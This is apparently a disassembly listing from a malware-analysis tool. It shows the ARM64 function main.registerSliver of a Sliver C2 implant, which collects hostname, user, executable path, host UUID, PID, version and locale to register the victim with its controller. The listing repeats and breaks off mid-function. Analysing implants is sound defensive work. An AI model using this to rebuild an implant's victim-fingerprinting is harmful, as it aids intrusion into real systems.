File sliver_83cb34f62800fed14e14547c39337aab8e0427fe2c6310a3fb40ce0ac36168c9.elf
Function:
Loading..
00510e20
00510e20main.registerSliver: ; void main.registerSliver(void)
00510e20ldr x16, [x28+16]
00510e24sub x17, sp, 448
00510e28subs xzr, x17, x16
00510e2cb.ls 0x5116f4
00510e30sub x20, sp, 576
00510e34stp x29, x30, [x20-8]
00510e38add sp, x20, 0
00510e3csub x29, sp, 8
00510e40str xzr, [sp+72]
00510e44add x27, sp, 536
00510e48stp xzr, xzr, [x27]
00510e4cadd x27, sp, 520
00510e50stp xzr, xzr, [x27]
00510e54bl os.Hostname
00510e58str x0, [sp+536]
00510e5cstr x1, [sp+544]
00510e60str x2, [sp+520]
00510e64str x3, [sp+528]
00510e68ldr x0, [sp+536]
00510e6cldr x1, [sp+544]
00510e70str x0, [sp+240]
00510e74str x1, [sp+248]
00510e78ldr x0, [sp+520]
00510e7cldr x1, [sp+528]
00510e80str x0, [sp+192]
00510e84str x1, [sp+200]
00510e88ldr x0, [sp+240]
00510e8cldr x1, [sp+248]
00510e90str x0, [sp+96]
00510e94str x1, [sp+104]
00510e98ldr x0, [sp+200]
00510e9cldr x1, [sp+192]
00510ea0str x1, [sp+128]
00510ea4str x0, [sp+136]
00510ea8cbnz x1, 0x510eb0
00510eacb 0x510f68
00510eb0
00510eb0loc_510eb0:
00510eb0stp xzr, xzr, [sp+504]
00510eb4add x5, sp, 504
00510eb8str x5, [sp+448]
00510ebcldr x5, [sp+128]
00510ec0ldr x6, [sp+136]
00510ec4str x5, [sp+432]
00510ec8str x6, [sp+440]
00510eccstr x5, [sp+424]
00510ed0ldr x5, [sp+424]
00510ed4cbnz x5, 0x510edc
00510ed8b 0x510eec
00510edc
00510edcloc_510edc:
00510edcldr x5, [sp+424]
00510ee0ldr x5, [x5+8]
00510ee4str x5, [sp+424]
00510ee8b 0x510ef0
00510eec
00510eecloc_510eec:
00510eecb 0x510ef0
00510ef0
00510ef0loc_510ef0:
00510ef0ldr x5, [sp+448]
00510ef4ldrsb x27, [x5]
00510ef8ldr x6, [sp+424]
00510efcldr x7, [sp+440]
00510f00str x6, [x5]
00510f04adrp x27, 0x53b000
00510f08ldr w6, [x27+3056]
00510f0ccbz w6, 0x510f14
00510f10b 0x510f18
00510f14
00510f14loc_510f14:
00510f14b 0x510f2c
00510f18
00510f18loc_510f18:
00510f18bl runtime.gcWriteBarrier2
00510f1cstr x7, [x25]
00510f20ldr x6, [x5+8]
00510f24str x6, [x25+8]
00510f28b 0x510f2c
00510f2c
00510f2cloc_510f2c:
00510f2cstr x7, [x5+8]
00510f30ldr x2, [sp+448]
00510f34ldrsb x27, [x2]
00510f38b 0x510f3c
00510f3c
00510f3cloc_510f3c:
00510f3cstr x2, [sp+456]
00510f40orr x4, xzr, 1
00510f44str x4, [sp+464]
00510f48str x4, [sp+472]
00510f4cadrp x0, 0x1ad000
00510f50add x0, x0, 2153
00510f54orr x1, xzr, 31
00510f58mov x3, x4
00510f5cbl log.Printf
00510f60stp xzr, xzr, [sp+96]
00510f64b 0x510f6c
00510f68
00510f68loc_510f68:
00510f68b 0x510f6c
00510f6c
00510f6cloc_510f6c:
00510f6cstr xzr, [sp+496]
00510f70add x27, sp, 520
00510f74stp xzr, xzr, [x27]
00510f78bl os/user.Current
00510f7cstr x0, [sp+496]
00510f80str x1, [sp+520]
00510f84str x2, [sp+528]
00510f88ldr x0, [sp+496]
00510f8cstr x0, [sp+184]
00510f90ldr x0, [sp+520]
00510f94ldr x1, [sp+528]
00510f98str x0, [sp+168]
00510f9cstr x1, [sp+176]
00510fa0ldr x0, [sp+184]
00510fa4str x0, [sp+144]
00510fa8ldr x0, [sp+176]
00510facldr x1, [sp+168]
00510fb0str x1, [sp+128]
00510fb4str x0, [sp+136]
00510fb8cbnz x1, 0x510fc0
00510fbcb 0x511198
00510fc0
00510fc0loc_510fc0:
00510fc0stp xzr, xzr, [sp+504]
00510fc4add x5, sp, 504
00510fc8str x5, [sp+392]
00510fccldr x5, [sp+128]
00510fd0ldr x6, [sp+136]
00510fd4str x5, [sp+376]
00510fd8str x6, [sp+384]
00510fdcstr x5, [sp+368]
00510fe0ldr x5, [sp+368]
00510fe4cbnz x5, 0x510fec
00510fe8b 0x510ffc
00510fec
00510fecloc_510fec:
00510fecldr x5, [sp+368]
00510ff0ldr x5, [x5+8]
00510ff4str x5, [sp+368]
00510ff8b 0x511000
00510ffc
00510ffcloc_510ffc:
00510ffcb 0x511000
00511000
00511000loc_511000:
00511000ldr x5, [sp+392]
00511004ldrsb x27, [x5]
00511008ldr x6, [sp+368]
0051100cldr x7, [sp+384]
00511010str x6, [x5]
00511014adrp x27, 0x53a000
00511018ldr w6, [x27+3056]
0051101ccbz w6, 0x511024
00511020b 0x511028
00511024
00511024loc_511024:
00511024b 0x51103c
00511028
00511028loc_511028:
00511028bl runtime.gcWriteBarrier2
0051102cstr x7, [x25]
00511030ldr x6, [x5+8]
00511034str x6, [x25+8]
00511038b 0x51103c
0051103c
0051103cloc_51103c:
0051103cstr x7, [x5+8]
00511040ldr x2, [sp+392]
00511044ldrsb x27, [x2]
00511048b 0x51104c
0051104c
0051104cloc_51104c:
0051104cstr x2, [sp+400]
00511050orr x4, xzr, 1
00511054str x4, [sp+408]
00511058str x4, [sp+416]
0051105cadrp x0, 0x1af000
00511060add x0, x0, 2036
00511064movz x1, 35
00511068mov x3, x4
0051106cbl log.Printf
00511070add x20, sp, 280
00511074adr x27, 16
00511078stp x29, x27, [sp-24]
0051107csub x29, sp, 24
00511080bl fn_87cfc
00511084sub x29, sp, 8
00511088add x20, sp, 280
0051108cstr x20, [sp+360]
00511090ldrsb x27, [x20]
00511094adrp x27, 0x53a000
00511098ldr w5, [x27+3056]
0051109ccbz w5, 0x5110a4
005110a0b 0x5110a8
005110a4
005110a4loc_5110a4:
005110a4b 0x5110c0
005110a8
005110a8loc_5110a8:
005110a8adrp x0, 0x15d000
005110acadd x0, x0, 3328
005110b0mov x1, x20
005110b4bl runtime.wbZero
005110b8add x20, sp, 280
005110bcb 0x5110c0
005110c0
005110c0loc_5110c0:
005110c0adr x27, 16
005110c4stp x29, x27, [sp-24]
005110c8sub x29, sp, 24
005110ccbl fn_87cfc
005110d0sub x29, sp, 8
005110d4ldr x0, [sp+360]
005110d8ldrsb x27, [x0]
005110dcmovz x1, 5
005110e0str x1, [x0+40]
005110e4adrp x27, 0x53a000
005110e8ldr w2, [x27+3056]
005110eccbz w2, 0x5110f4
005110f0b 0x5110f8
005110f4
005110f4loc_5110f4:
005110f4b 0x511108
005110f8
005110f8loc_5110f8:
005110f8ldr x2, [x0+32]
005110fcbl runtime.gcWriteBarrier1
00511100str x2, [x25]
00511104b 0x511108
00511108
00511108loc_511108:
00511108adrp x2, 0x19f000
0051110cadd x2, x2, 1482
00511110str x2, [x0+32]
00511114ldr x0, [sp+360]
00511118ldrsb x27, [x0]
0051111cstr x1, [x0+8]
00511120adrp x27, 0x53a000
00511124ldr w2, [x27+3056]
00511128cbz w2, 0x511130
0051112cb 0x511134
00511130
00511130loc_511130:
00511130b 0x511144
00511134
00511134loc_511134:
00511134ldr x2, [x0]
00511138bl runtime.gcWriteBarrier1
0051113cstr x2, [x25]
00511140b 0x511144
00511144
00511144loc_511144:
00511144adrp x2, 0x19f000
00511148add x2, x2, 1482
0051114cstr x2, [x0]
00511150ldr x0, [sp+360]
00511154ldrsb x27, [x0]
00511158str x1, [x0+24]
0051115cadrp x27, 0x53a000
00511160ldr w2, [x27+3056]
00511164cbz w2, 0x51116c
00511168b 0x511170
0051116c
0051116cloc_51116c:
0051116cb 0x511180
00511170
00511170loc_511170:
00511170ldr x2, [x0+16]
00511174bl runtime.gcWriteBarrier1
00511178str x2, [x25]
0051117cb 0x511180
00511180
00511180loc_511180:
00511180adrp x2, 0x19f000
00511184add x2, x2, 1482
00511188str x2, [x0+16]
0051118cldr x0, [sp+360]
00511190str x0, [sp+144]
00511194b 0x51119c
00511198
00511198loc_511198:
00511198b 0x51119c
0051119c
0051119cloc_51119c:
0051119cadd x27, sp, 536
005111a0stp xzr, xzr, [x27]
005111a4add x27, sp, 520
005111a8stp xzr, xzr, [x27]
005111acbl os.Executable
005111b0str x0, [sp+536]
005111b4str x1, [sp+544]
005111b8str x2, [sp+520]
005111bcstr x3, [sp+528]
005111c0ldr x0, [sp+536]
005111c4ldr x1, [sp+544]
005111c8str x0, [sp+152]
005111ccstr x1, [sp+160]
005111d0ldr x0, [sp+520]
005111d4ldr x1, [sp+528]
005111d8str x0, [sp+552]
005111dcstr x1, [sp+560]
005111e0ldr x0, [sp+152]
005111e4ldr x1, [sp+160]
005111e8str x0, [sp+112]
005111ecstr x1, [sp+120]
005111f0ldr x0, [sp+560]
005111f4ldr x1, [sp+552]
005111f8str x1, [sp+128]
005111fcstr x0, [sp+136]
00511200cbnz x1, 0x511208
00511204b 0x511268
00511208
00511208loc_511208:
00511208adrp x27, 0x511000
0051120cldr x2, [x27+2728]
00511210str x2, [sp+64]
00511214cbnz x2, 0x51121c
00511218b 0x51124c
0051121c
0051121cloc_51121c:
0051121cadrp x27, 0x511000
00511220ldr x2, [x27+2720]
00511224adrp x27, 0x511000
00511228ldr x1, [x27+2728]
0051122csubs xzr, x1, 0
00511230b.hi 0x511238
00511234b 0x5116e8
00511238
00511238loc_511238:
00511238ldr x0, [x2]
0051123cldr x1, [x2+8]
00511240str x0, [sp+112]
00511244str x1, [sp+120]
00511248b 0x511264
0051124c
0051124cloc_51124c:
0051124cadrp x0, 0x19f000
00511250add x0, x0, 1482
00511254str x0, [sp+112]
00511258movz x0, 5
0051125cstr x0, [sp+120]
00511260b 0x511264
00511264
00511264loc_511264:
00511264b 0x51126c
00511268
00511268loc_511268:
00511268b 0x51126c
0051126c
0051126cloc_51126c:
0051126cbl github.com/bishopfox/sliver/implant/sliver/hostuuid.GetUUID
00511270str x0, [sp+80]
00511274str x1, [sp+88]
00511278stp xzr, xzr, [sp+504]
0051127cadd x0, sp, 504
00511280str x0, [sp+232]
00511284ldr x0, [sp+80]
00511288ldr x1, [sp+88]
0051128cbl runtime.convTstring
00511290str x0, [sp+224]
00511294ldr x1, [sp+232]
00511298ldrsb x27, [x1]
0051129cadrp x2, 0xe4000
005112a0add x2, x2, 2944
005112a4str x2, [x1]
005112a8adrp x27, 0x53a000
005112acldr w2, [x27+3056]
005112b0cbz w2, 0x5112b8
005112b4b 0x5112bc
005112b8
005112b8loc_5112b8:
005112b8b 0x5112d0
005112bc
005112bcloc_5112bc:
005112bcbl runtime.gcWriteBarrier2
005112c0str x0, [x25]
005112c4ldr x5, [x1+8]
005112c8str x5, [x25+8]
005112ccb 0x5112d0
005112d0
005112d0loc_5112d0:
005112d0str x0, [x1+8]
005112d4ldr x2, [sp+232]
005112d8ldrsb x27, [x2]
005112dcb 0x5112e0
005112e0
005112e0loc_5112e0:
005112e0str x2, [sp+256]
005112e4orr x4, xzr, 1
005112e8str x4, [sp+264]
005112ecstr x4, [sp+272]
005112f0adrp x0, 0x1a2000
005112f4add x0, x0, 1212
005112f8movz x1, 13
005112fcmov x3, x4
00511300bl log.Printf
00511304bl github.com/bishopfox/sliver/implant/sliver/version.GetVersion
00511308str x0, [sp+536]
0051130cstr x1, [sp+544]
00511310bl os.Getpid
00511314str x0, [sp+64]
00511318bl github.com/bishopfox/sliver/implant/sliver/transports.GetReconnectInterval
0051131cstr x0, [sp+56]
00511320bl github.com/bishopfox/sliver/implant/sliver/locale.GetLocale
00511324str x0, [sp+480]
00511328str x1, [sp+488]
0051132cadrp x0, 0x192000
00511330add x0, x0, 1248
00511334bl runtime.newobject
00511338str x0, [sp+216]
0051133cadrp x27, 0x53a000
00511340ldr w5, [x27+3056]
00511344cbz w5, 0x51134c
00511348b 0x511350
0051134c
0051134cloc_51134c:
0051134cb 0x51136c
00511350
00511350loc_511350:
00511350str x0, [sp+208]
00511354mov x1, x0
00511358adrp x0, 0x192000
0051135cadd x0, x0, 1248
00511360bl runtime.wbZero
00511364ldr x0, [sp+208]
00511368b 0x51136c
0051136c
0051136cloc_51136c:
0051136cmov x20, x0
00511370adr x27, 16
00511374stp x29, x27, [sp-24]
00511378sub x29, sp, 24
0051137cbl fn_87cc8
00511380sub x29, sp, 8
00511384ldr x1, [sp+216]
00511388ldrsb x27, [x1]
0051138cadrp x27, 0x4fc000
00511390ldr x2, [x27+2528]
00511394adrp x27, 0x4fc000
00511398ldr x3, [x27+2536]
0051139cstr x3, [x1+16]
005113a0adrp x27, 0x53a000
005113a4ldr w3, [x27+3056]
005113a8cbz w3, 0x5113b0
005113acb 0x5113b4
005113b0
005113b0loc_5113b0:
005113b0b 0x5113c8
005113b4
005113b4loc_5113b4:
005113b4bl runtime.gcWriteBarrier2
005113b8str x2, [x25]
005113bcldr x3, [x1+8]
005113c0str x3, [x25+8]
005113c4b 0x5113c8
005113c8
005113c8loc_5113c8:
005113c8str x2, [x1+8]
005113ccldr x1, [sp+216]
005113d0ldrsb x27, [x1]
005113d4ldr x2, [sp+96]
005113d8ldr x3, [sp+104]
005113dcstr x3, [x1+32]
005113e0adrp x27, 0x53a000
005113e4ldr w3, [x27+3056]
005113e8cbz w3, 0x5113f0
005113ecb 0x5113f4
005113f0
005113f0loc_5113f0:
005113f0b 0x511408
005113f4
005113f4loc_5113f4:
005113f4bl runtime.gcWriteBarrier2
005113f8str x2, [x25]
005113fcldr x3, [x1+24]
00511400str x3, [x25+8]
00511404b 0x511408
00511408
00511408loc_511408:
00511408str x2, [x1+24]
0051140cldr x1, [sp+216]
00511410ldrsb x27, [x1]
00511414ldr x2, [sp+80]
00511418ldr x3, [sp+88]
0051141cstr x3, [x1+48]
00511420adrp x27, 0x53a000
00511424ldr w3, [x27+3056]
00511428cbz w3, 0x511430
0051142cb 0x511434
00511430
00511430loc_511430:
00511430b 0x511448
00511434
00511434loc_511434:
00511434bl runtime.gcWriteBarrier2
00511438str x2, [x25]
0051143cldr x3, [x1+40]
00511440str x3, [x25+8]
00511444b 0x511448
00511448
00511448loc_511448:
00511448str x2, [x1+40]
0051144cldr x1, [sp+216]
00511450ldrsb x27, [x1]
00511454ldr x2, [sp+144]
00511458ldrsb x27, [x2]
0051145cldr x3, [x2+32]
00511460ldr x2, [x2+40]
00511464str x2, [x1+64]
00511468adrp x27, 0x53a000
0051146cldr w2, [x27+3056]
00511470cbz w2, 0x511478
00511474b 0x51147c
00511478
00511478loc_511478:
00511478b 0x511490
0051147c
0051147cloc_51147c:
0051147cbl runtime.gcWriteBarrier2
00511480str x3, [x25]
00511484ldr x2, [x1+56]
00511488str x2, [x25+8]
0051148cb 0x511490
00511490
00511490loc_511490:
00511490str x3, [x1+56]
00511494ldr x1, [sp+216]
00511498ldrsb x27, [x1]
0051149cldr x2, [sp+144]
005114a0ldrsb x27, [x2]
005114a4ldr x3, [x2]
005114a8ldr x2, [x2+8]
005114acstr x2, [x1+80]
005114b0adrp x27, 0x53a000
005114b4ldr w2, [x27+3056]
005114b8cbz w2, 0x5114c0
005114bcb 0x5114c4
005114c0
005114c0loc_5114c0:
005114c0b 0x5114d8
005114c4
005114c4loc_5114c4:
005114c4bl runtime.gcWriteBarrier2
005114c8str x3, [x25]
005114ccldr x2, [x1+72]
005114d0str x2, [x25+8]
005114d4b 0x5114d8
005114d8
005114d8loc_5114d8:
005114d8str x3, [x1+72]
005114dcldr x1, [sp+216]
005114e0ldrsb x27, [x1]
005114e4ldr x2, [sp+144]
005114e8ldrsb x27, [x2]
005114ecldr x3, [x2+16]
005114f0ldr x2, [x2+24]
005114f4str x2, [x1+96]
005114f8adrp x27, 0x53a000
005114fcldr w2, [x27+3056]
00511500cbz w2, 0x511508
00511504b 0x51150c
00511508
00511508loc_511508:
00511508b 0x511520
0051150c
0051150cloc_51150c:
0051150cbl runtime.gcWriteBarrier2
00511510str x3, [x25]
00511514ldr x2, [x1+88]
00511518str x2, [x25+8]
0051151cb 0x511520
00511520
00511520loc_511520:
00511520str x3, [x1+88]
00511524ldr x1, [sp+216]
00511528ldrsb x27, [x1]
0051152cmovz x2, 5
00511530str x2, [x1+112]
00511534adrp x27, 0x53a000
00511538ldr w3, [x27+3056]
0051153ccbz w3, 0x511544
00511540b 0x511548
00511544
00511544loc_511544:
00511544b 0x511558
00511548
00511548loc_511548:
00511548ldr x3, [x1+104]
0051154cbl runtime.gcWriteBarrier1
00511550str x3, [x25]
00511554b 0x511558
00511558
00511558loc_511558:
00511558adrp x3, 0x19f000
0051155cadd x3, x3, 1487
00511560str x3, [x1+104]
00511564ldr x1, [sp+216]
00511568ldrsb x27, [x1]
0051156cldr x3, [sp+536]
00511570ldr x4, [sp+544]
00511574str x4, [x1+184]
00511578adrp x27, 0x53a000
0051157cldr w4, [x27+3056]
00511580cbz w4, 0x511588
00511584b 0x51158c
00511588
00511588loc_511588:
00511588b 0x5115a0
0051158c
0051158cloc_51158c:
0051158cbl runtime.gcWriteBarrier2
00511590str x3, [x25]
00511594ldr x4, [x1+176]
00511598str x4, [x25+8]
0051159cb 0x5115a0
005115a0
005115a0loc_5115a0:
005115a0str x3, [x1+176]
005115a4ldr x1, [sp+216]
005115a8ldrsb x27, [x1]
005115acstr x2, [x1+128]
005115b0adrp x27, 0x53a000
005115b4ldr w2, [x27+3056]
005115b8cbz w2, 0x5115c0
005115bcb 0x5115c4
005115c0
005115c0loc_5115c0:
005115c0b 0x5115d4
005115c4
005115c4loc_5115c4:
005115c4ldr x2, [x1+120]
005115c8bl runtime.gcWriteBarrier1
005115ccstr x2, [x25]
005115d0b 0x5115d4
005115d4
005115d4loc_5115d4:
005115d4adrp x2, 0x19f000
005115d8add x2, x2, 1492
005115dcstr x2, [x1+120]
005115e0ldr x1, [sp+216]
005115e4ldrsb x27, [x1]
005115e8ldr x2, [sp+64]
005115ecstr w2, [x1+136]
005115f0ldr x1, [sp+216]
005115f4ldrsb x27, [x1]
005115f8ldr x2, [sp+112]
005115fcldr x3, [sp+120]
00511600str x3, [x1+152]
00511604adrp x27, 0x53a000
00511608ldr w3, [x27+3056]
0051160ccbz w3, 0x511614
00511610b 0x511618
00511614
00511614loc_511614:
00511614b 0x51162c
00511618
00511618loc_511618:
00511618bl runtime.gcWriteBarrier2
0051161cstr x2, [x25]
00511620ldr x3, [x1+144]
00511624str x3, [x25+8]
00511628b 0x51162c
0051162c
0051162cloc_51162c:
0051162cstr x2, [x1+144]
00511630ldr x1, [sp+216]
00511634ldrsb x27, [x1]
00511638ldr x2, [sp+56]
0051163cstr x2, [x1+192]
00511640ldr x1, [sp+216]
00511644ldrsb x27, [x1]
00511648movz x2, 36
0051164cstr x2, [x1+224]
00511650adrp x27, 0x53a000
00511654ldr w2, [x27+3056]
00511658cbz w2, 0x511660
0051165cb 0x511664
00511660
00511660loc_511660:
00511660b 0x511674
00511664
00511664loc_511664:
00511664ldr x2, [x1+216]
00511668bl runtime.gcWriteBarrier1
0051166cstr x2, [x25]
00511670b 0x511674
00511674
00511674loc_511674:
00511674adrp x2, 0x1b0000
00511678add x2, x2, 985
0051167cstr x2, [x1+216]
00511680ldr x1, [sp+216]
00511684ldrsb x27, [x1]
00511688adrp x27, 0x53a000
0051168cldr x2, [x27+2144]
00511690str x2, [x1+232]
00511694ldr x1, [sp+216]
00511698ldrsb x27, [x1]
0051169cldr x2, [sp+480]
005116a0ldr x3, [sp+488]
005116a4str x3, [x1+248]
005116a8adrp x27, 0x53a000
005116acldr w3, [x27+3056]
005116b0cbz w3, 0x5116b8
005116b4b 0x5116bc
005116b8
005116b8loc_5116b8:
005116b8b 0x5116d0
005116bc
005116bcloc_5116bc:
005116bcbl runtime.gcWriteBarrier2
005116c0str x2, [x25]
005116c4ldr x3, [x1+240]
005116c8str x3, [x25+8]
005116ccb 0x5116d0
005116d0
005116d0loc_5116d0:
005116d0str x2, [x1+240]
005116d4ldr x0, [sp+216]
005116d8str x0, [sp+72]
005116dcldp x29, x30, [sp-8]
005116e0add sp, sp, 576
005116e4ret x30
005116e8
005116e8loc_5116e8:
005116e8mov x0, xzr
005116ecbl runtime.panicIndex
005116f0hint
005116f4
005116f4loc_5116f4:
005116f4mov x3, x30
005116f8bl runtime.morestack_noctxt.abi0
005116fcb 0x510e20
00510e20
00510e20main.registerSliver: ; void main.registerSliver(void)
00510e20ldr x16, [x28+16]
00510e24sub x17, sp, 448
00510e28subs xzr, x17, x16
00510e2cb.ls 0x5116f4
00510e30sub x20, sp, 576
00510e34stp x29, x30, [x20-8]
00510e38add sp, x20, 0
00510e3csub x29, sp, 8
00510e40str xzr, [sp+72]
00510e44add x27, sp, 536
00510e48stp xzr, xzr, [x27]
00510e4cadd x27, sp, 520
00510e50stp xzr, xzr, [x27]
00510e54bl os.Hostname
00510e58str x0, [sp+536]
00510e5cstr x1, [sp+544]
00510e60str x2, [sp+520]
00510e64str x3, [sp+528]
00510e68ldr x0, [sp+536]
00510e6cldr x1, [sp+544]
00510e70str x0, [sp+240]
00510e74str x1, [sp+248]
00510e78ldr x0, [sp+520]
00510e7cldr x1, [sp+528]
00510e80str x0, [sp+192]
00510e84str x1, [sp+200]
00510e88ldr x0, [sp+240]
00510e8cldr x1, [sp+248]
00510e90str x0, [sp+96]
00510e94str x1, [sp+104]
00510e98ldr x0, [sp+200]
00510e9cldr x1, [sp+192]
00510ea0str x1, [sp+128]
00510ea4str x0, [sp+136]
00510ea8cbnz x1, 0x510eb0
00510eacb 0x510f68
00510eb0
00510eb0loc_510eb0:
00510eb0stp xzr, xzr, [sp+504]
00510eb4add x5, sp, 504
00510eb8str x5, [sp+448]
00510ebcldr x5, [sp+128]
00510ec0ldr x6, [sp+136]
00510ec4str x5, [sp+432]
00510ec8str x6, [sp+440]
00510eccstr x5, [sp+424]
00510ed0ldr x5, [sp+424]
00510ed4cbnz x5, 0x510edc
00510ed8b 0x510eec
00510edc
00510edcloc_510edc:
00510edcldr x5, [sp+424]
00510ee0ldr x5, [x5+8]
00510ee4str x5, [sp+424]
00510ee8b 0x510ef0
00510eec
00510eecloc_510eec:
00510eecb 0x510ef0
00510ef0
00510ef0loc_510ef0:
00510ef0ldr x5, [sp+448]
00510ef4ldrsb x27, [x5]
00510ef8ldr x6, [sp+424]
00510efcldr x7, [sp+440]
00510f00str x6, [x5]
00510f04adrp x27, 0x53b000
00510f08ldr w6, [x27+3056]
00510f0ccbz w6, 0x510f14
00510f10b 0x510f18
00510f14
00510f14loc_510f14:
00510f14b 0x510f2c
00510f18
00510f18loc_510f18:
00510f18bl runtime.gcWriteBarrier2
00510f1cstr x7, [x25]
00510f20ldr x6, [x5+8]
00510f24str x6, [x25+8]
00510f28b 0x510f2c
00510f2c
00510f2cloc_510f2c:
00510f2cstr x7, [x5+8]
00510f30ldr x2, [sp+448]
00510f34ldrsb x27, [x2]
00510f38b 0x510f3c
00510f3c
00510f3cloc_510f3c:
00510f3cstr x2, [sp+456]
00510f40orr x4, xzr, 1
00510f44str x4, [sp+464]
00510f48str x4, [sp+472]
00510f4cadrp x0, 0x1ad000
00510f50add x0, x0, 2153
00510f54orr x1, xzr, 31
00510f58mov x3, x4
00510f5cbl log.Printf
00510f60stp xzr, xzr, [sp+96]
00510f64b 0x510f6c
00510f68
00510f68loc_510f68:
00510f68b 0x510f6c
00510f6c
00510f6cloc_510f6c:
00510f6cstr xzr, [sp+496]
00510f70add x27, sp, 520
00510f74stp xzr, xzr, [x27]
00510f78bl os/user.Current
00510f7cstr x0, [sp+496]
00510f80str x1, [sp+520]
00510f84str x2, [sp+528]
00510f88ldr x0, [sp+496]
00510f8cstr x0, [sp+184]
00510f90ldr x0, [sp+520]
00510f94ldr x1, [sp+528]
00510f98str x0, [sp+168]
00510f9cstr x1, [sp+176]
00510fa0ldr x0, [sp+184]
00510fa4str x0, [sp+144]
00510fa8ldr x0, [sp+176]
00510facldr x1, [sp+168]
00510fb0str x1, [sp+128]
00510fb4str x0, [sp+136]
00510fb8cbnz x1, 0x510fc0
00510fbcb 0x511198
00510fc0
00510fc0loc_510fc0:
00510fc0stp xzr, xzr, [sp+504]
00510fc4add x5, sp, 504
00510fc8str x5, [sp+392]
00510fccldr x5, [sp+128]
00510fd0ldr x6, [sp+136]
00510fd4str x5, [sp+376]
00510fd8str x6, [sp+384]
00510fdcstr x5, [sp+368]
00510fe0ldr x5, [sp+368]
00510fe4cbnz x5, 0x510fec
00510fe8b 0x510ffc
00510fec
00510fecloc_510fec:
00510fecldr x5, [sp+368]
00510ff0ldr x5, [x5+8]
00510ff4str x5, [sp+368]
00510ff8b 0x511000
00510ffc
00510ffcloc_510ffc:
00510ffcb 0x511000
00511000
00511000loc_511000:
00511000ldr x5, [sp+392]
00511004ldrsb x27, [x5]
00511008ldr x6, [sp+368]
0051100cldr x7, [sp+384]
00511010str x6, [x5]
00511014adrp x27, 0x53a000
00511018ldr w6, [x27+3056]
0051101ccbz w6, 0x511024
00511020b 0x511028
00511024
00511024loc_511024:
00511024b 0x51103c
00511028
00511028loc_511028:
00511028bl runtime.gcWriteBarrier2
0051102cstr x7, [x25]
00511030ldr x6, [x5+8]
00511034str x6, [x25+8]
00511038b 0x51103c
0051103c
0051103cloc_51103c:
0051103cstr x7, [x5+8]
00511040ldr x2, [sp+392]
00511044ldrsb x27, [x2]
00511048b 0x51104c
0051104c
0051104cloc_51104c:
0051104cstr x2, [sp+400]
00511050orr x4, xzr, 1
00511054str x4, [sp+408]
00511058str x4, [sp+416]
0051105cadrp x0, 0x1af000
00511060add x0, x0, 2036
00511064movz x1, 35
00511068mov x3, x4
0051106cbl log.Printf
00511070add x20, sp, 280
00511074adr x27, 16
00511078stp x29, x27, [sp-24]
0051107csub x29, sp, 24
00511080bl fn_87cfc
00511084sub x29, sp, 8
00511088add x20, sp, 280
0051108cstr x20, [sp+360]
00511090ldrsb x27, [x20]
00511094adrp x27, 0x53a000
00511098ldr w5, [x27+3056]
0051109ccbz w5, 0x5110a4
005110a0b 0x5110a8
005110a4
005110a4loc_5110a4:
005110a4b 0x5110c0
005110a8
005110a8loc_5110a8:
005110a8adrp x0, 0x15d000
005110acadd x0, x0, 3328
005110b0mov x1, x20
005110b4bl runtime.wbZero
005110b8add x20, sp, 280
005110bcb 0x5110c0
005110c0
005110c0loc_5110c0:
005110c0adr x27, 16
005110c4stp x29, x27, [sp-24]
005110c8sub x29, sp, 24
005110ccbl fn_87cfc
005110d0sub x29, sp, 8
005110d4ldr x0, [sp+360]
005110d8ldrsb x27, [x0]
005110dcmovz x1, 5
005110e0str x1, [x0+40]
005110e4adrp x27, 0x53a000
005110e8ldr w2, [x27+3056]
005110eccbz w2, 0x5110f4
005110f0b 0x5110f8
005110f4
005110f4loc_5110f4:
005110f4b 0x511108
005110f8
005110f8loc_5110f8:
005110f8ldr x2, [x0+32]
005110fcbl runtime.gcWriteBarrier1
00511100str x2, [x25]
00511104b 0x511108
00511108
00511108loc_511108:
00511108adrp x2, 0x19f000
0051110cadd x2, x2, 1482
00511110str x2, [x0+32]
00511114ldr x0, [sp+360]
00511118ldrsb x27, [x0]
0051111cstr x1, [x0+8]
00511120adrp x27, 0x53a000
00511124ldr w2, [x27+3056]
00511128cbz w2, 0x511130
0051112cb 0x511134
00511130
00511130loc_511130:
00511130b 0x511144
00511134
00511134loc_511134:
00511134ldr x2, [x0]
00511138bl runtime.gcWriteBarrier1
0051113cstr x2, [x25]
00511140b 0x511144
00511144
00511144loc_511144:
00511144adrp x2, 0x19f000
00511148add x2, x2, 1482
0051114cstr x2, [x0]
00511150ldr x0, [sp+360]
00511154ldrsb x27, [x0]
00511158str x1, [x0+24]
0051115cadrp x27, 0x53a000
00511160ldr w2, [x27+3056]
00511164cbz w2, 0x51116c
00511168b 0x511170
0051116c
0051116cloc_51116c:
0051116cb 0x511180
00511170
00511170loc_511170:
00511170ldr x2, [x0+16]
00511174bl runtime.gcWriteBarrier1
00511178str x2, [x25]
0051117cb 0x511180
00511180
00511180loc_511180:
00511180adrp x2, 0x19f000
00511184add x2, x2, 1482
00511188str x2, [x0+16]
0051118cldr x0, [sp+360]
00511190str x0, [sp+144]
00511194b 0x51119c
00511198
00511198loc_511198:
00511198b 0x51119c
0051119c
0051119cloc_51119c:
0051119cadd x27, sp, 536
005111a0stp xzr, xzr, [x27]
005111a4add x27, sp, 520
005111a8stp xzr, xzr, [x27]
005111acbl os.Executable
005111b0str x0, [sp+536]
005111b4str x1, [sp+544]
005111b8str x2, [sp+520]
005111bcstr x3, [sp+528]
005111c0ldr x0, [sp+536]
005111c4ldr x1, [sp+544]
005111c8str x0, [sp+152]
005111ccstr x1, [sp+160]
005111d0ldr x0, [sp+520]
005111d4ldr x1, [sp+528]
005111d8str x0, [sp+552]
005111dcstr x1, [sp+560]
005111e0ldr x0, [sp+152]
005111e4ldr x1, [sp+160]
005111e8str x0, [sp+112]
005111ecstr x1, [sp+120]
005111f0ldr x0, [sp+560]
005111f4ldr x1, [sp+552]
005111f8str x1, [sp+128]
005111fcstr x0, [sp+136]
00511200cbnz x1, 0x511208
00511204b 0x511268
00511208
00511208loc_511208:
00511208adrp x27, 0x511000
0051120cldr x2, [x27+2728]
00511210str x2, [sp+64]
00511214cbnz x2, 0x51121c
00511218b 0x51124c
0051121c
0051121cloc_51121c:
0051121cadrp x27, 0x511000
00511220ldr x2, [x27+2720]
00511224adrp x27, 0x511000
00511228ldr x1, [x27+2728]
0051122csubs xzr, x1, 0
00511230b.hi 0x511238
00511234b 0x5116e8
00511238
00511238loc_511238:
00511238ldr x0, [x2]
0051123cldr x1, [x2+8]
00511240str x0, [sp+112]
00511244str x1, [sp+120]
00511248b 0x511264
0051124c
0051124cloc_51124c:
0051124cadrp x0, 0x19f000
00511250add x0, x0, 1482
00511254str x0, [sp+112]
